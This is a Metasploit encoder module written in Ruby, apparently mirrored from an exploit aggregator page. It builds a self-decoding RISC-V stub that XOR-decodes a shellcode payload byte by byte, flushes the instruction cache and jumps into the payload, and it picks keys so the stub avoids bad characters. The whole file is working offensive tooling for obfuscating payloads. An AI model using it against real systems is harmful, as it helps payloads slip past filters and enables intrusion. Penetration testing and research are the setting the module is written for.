Share
## https://sploitus.com/exploit?id=MSF:ENCODER-RISCV32LE-BYTE_XORI-
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder::Xor

  Rank = NormalRanking

  def initialize
    super(
      'Name' => 'Byte XORi Encoder',
      'Description' => %q{
        Byte XOR encoder for RISC-V 32-bit (Little Endian). Encodes the
        payload byte-by-byte with a 1-byte XOR key using the xori
        instruction. Useful when R-type XOR instruction bytes (0x33) are
        bad characters.
      },
      'Author' => ['bcoles'],
      'Arch' => ARCH_RISCV32LE,
      'License' => MSF_LICENSE,
      'Decoder' => {
        'KeySize' => 1,
        'BlockSize' => 1,
        'KeyPack' => 'C'
      }
    )
  end

  #
  # Returns the decoder stub that is adjusted for the size of
  # the buffer being encoded.
  #
  def decoder_stub(state)
    if state.badchars.to_s.include?("\x00".b)
      raise EncodingError, 'The RISC-V decoder stub inherently contains null bytes (auipc, ecall)'
    end

    byte_count = state.buf.length
    raise EncodingError, 'The payload being encoded is empty' if byte_count.zero?
    raise EncodingError, "The payload being encoded is too long (#{state.buf.length} bytes)" if byte_count > 2047

    xori_imm = find_xori_imm(state.key.to_i, state.badchars)

    # Decoder stub layout (64 bytes = 16 instructions):
    #
    #   0x00: auipc  t0, 0             # t0 = address of this instruction
    #   0x04: addi   t4, t0, 64        # t4 = start of encoded payload
    #   0x08: addi   t2, x0, count     # t2 = number of bytes to decode
    #   0x0c: addi   t0, t4, 0         # t0 = working pointer
    #   0x10: lbu    t3, 0(t0)         # load encoded byte (unsigned)
    #   0x14: xori   t3, t3, IMM       # XOR with key (low 8 bits of immediate)
    #   0x18: sb     t3, 0(t0)         # store decoded byte
    #   0x1c: addi   t0, t0, 1         # advance pointer
    #   0x20: addi   t2, t2, -1        # decrement counter
    #   0x24: bne    t2, x0, -0x14     # loop to 0x10
    #   0x28: addi   a0, t4, 0         # cache flush start address
    #   0x2c: addi   a1, t0, 0         # cache flush end address
    #   0x30: addi   a2, x0, 0         # flags (0 = all harts)
    #   0x34: addi   a7, x0, 259       # __NR_riscv_flush_icache
    #   0x38: ecall                    # flush icache
    #   0x3c: jalr   x0, t4, 0         # jump to decoded payload
    #
    [
      0x00000297,                       # auipc  t0, 0
      encode_addi(29, 5, 64),           # addi   t4, t0, 64
      encode_addi(7, 0, byte_count),    # addi   t2, x0, count
      encode_addi(5, 29, 0),            # addi   t0, t4, 0
      encode_lbu(28, 5, 0),             # lbu    t3, 0(t0)
      encode_xori_insn(28, 28, xori_imm), # xori t3, t3, imm
      encode_sb(28, 5, 0),              # sb     t3, 0(t0)
      encode_addi(5, 5, 1),             # addi   t0, t0, 1
      encode_addi(7, 7, -1),            # addi   t2, t2, -1
      encode_bne(7, 0, -20),            # bne    t2, x0, loop
      encode_addi(10, 29, 0),           # addi   a0, t4, 0
      encode_addi(11, 5, 0),            # addi   a1, t0, 0
      encode_addi(12, 0, 0),            # addi   a2, x0, 0
      encode_addi(17, 0, 259),          # addi   a7, x0, 259
      0x00000073,                       # ecall
      encode_jalr(0, 29, 0),            # jalr   x0, t4, 0
    ].pack('V*')
  end

  #
  # Verify that the candidate key produces a valid xori immediate
  # whose instruction encoding avoids bad characters.
  #
  def find_key_verify(buf, key_bytes, badchars)
    return false unless super

    key = key_bytes_to_integer(key_bytes)
    find_xori_imm(key, badchars)
    true
  rescue EncodingError
    false
  end

  private

  # Find a 12-bit immediate for the xori instruction that avoids bad characters
  # in its encoding. Only the low 8 bits affect the XOR result since sb stores
  # only the low byte, so bits [11:8] can be set freely.
  def find_xori_imm(key, badchars)
    # Try upper nibbles 1-15 first (avoids null byte in instruction word)
    (1..15).each do |hi|
      imm12 = (hi << 8) | (key & 0xFF)
      bytes = [encode_xori_insn(28, 28, imm12)].pack('V')
      return imm12 if Rex::Text.badchar_index(bytes, badchars).nil?
    end
    # Fallback: try with no upper bits
    imm12 = key & 0xFF
    bytes = [encode_xori_insn(28, 28, imm12)].pack('V')
    return imm12 if Rex::Text.badchar_index(bytes, badchars).nil?

    raise EncodingError, "The #{name} encoder failed to avoid bad characters in the xori instruction"
  end

  # I-type: ADDI rd, rs1, imm12
  def encode_addi(rd, rs1, imm12)
    ((imm12 & 0xfff) << 20) | (rs1 << 15) | (rd << 7) | 0b0010011
  end

  # I-type: LBU rd, imm12(rs1)
  def encode_lbu(rd, rs1, imm12)
    ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b100 << 12) | (rd << 7) | 0b0000011
  end

  # S-type: SB rs2, imm12(rs1)
  def encode_sb(rs2, rs1, imm12)
    imm = imm12 & 0xfff
    (((imm >> 5) & 0x7f) << 25) | (rs2 << 20) | (rs1 << 15) | ((imm & 0x1f) << 7) | 0b0100011
  end

  # I-type: XORI rd, rs1, imm12
  def encode_xori_insn(rd, rs1, imm12)
    ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b100 << 12) | (rd << 7) | 0b0010011
  end

  # B-type: BNE rs1, rs2, offset
  def encode_bne(rs1, rs2, offset)
    imm = offset & 0x1fff
    bit12 = (imm >> 12) & 1
    bit11 = (imm >> 11) & 1
    hi6 = (imm >> 5) & 0x3f
    lo4 = (imm >> 1) & 0xf
    (bit12 << 31) | (hi6 << 25) | (rs2 << 20) | (rs1 << 15) |
      (0b001 << 12) | (lo4 << 8) | (bit11 << 7) | 0b1100011
  end

  # I-type: JALR rd, rs1, imm12
  def encode_jalr(rd, rs1, imm12)
    ((imm12 & 0xfff) << 20) | (rs1 << 15) | (rd << 7) | 0b1100111
  end
end